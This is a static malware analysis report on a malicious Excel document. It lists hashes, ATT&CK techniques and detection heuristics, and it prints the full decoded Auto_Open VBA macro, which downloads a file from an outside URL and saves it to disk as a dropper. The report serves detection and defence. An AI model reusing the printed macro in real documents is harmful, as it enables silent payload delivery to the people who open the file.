Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 42f6abceeaefe00e…

MALICIOUS

Office (OOXML)

14.4 KB Created: 2021-05-11 22:26:21 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: bc30787cded8780d6ae8d71e187bce9f SHA-1: 9123baf1a7d91304fcb6c4a9529cd50e58ee02f8 SHA-256: 42f6abceeaefe00e1c40ca0c80103dac9a7aaf5b04e1fa28be13812146590c61
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The Auto_Open VBA macro within the Excel document executes a GET request to download a file from 'http://keklulz.ueuo.com/uploads/lixo.png'. The downloaded content is then saved to 'C:\Users\suici\OneDrive\Documentos\hacking\Excel Malicioso\lixo.png', indicating an attempt to stage and execute a secondary payload. The use of CreateObject and the Auto_Open macro are strong indicators of malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        oStream.Write WinHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://keklulz.ueuo.com/uploads/lixo.png Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1237 bytes
SHA-256: 1c8541d323307516cb3ee24c77a35ef43f85dfe32db989835e36cbf0802fe135
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"
Sub Auto_Open()

Dim myURL As String
myURL = "http://keklulz.ueuo.com/uploads/lixo.png"

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False, "Tellaroli", "tella100"
WinHttpReq.send

If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile "C:\Users\suici\OneDrive\Documentos\hacking\Excel Malicioso\lixo.png", 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
End If


End Sub

Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: 981a77526cc22c6afdae317a6ab23f79565471a5f6a1a811b68d9de0314a937f

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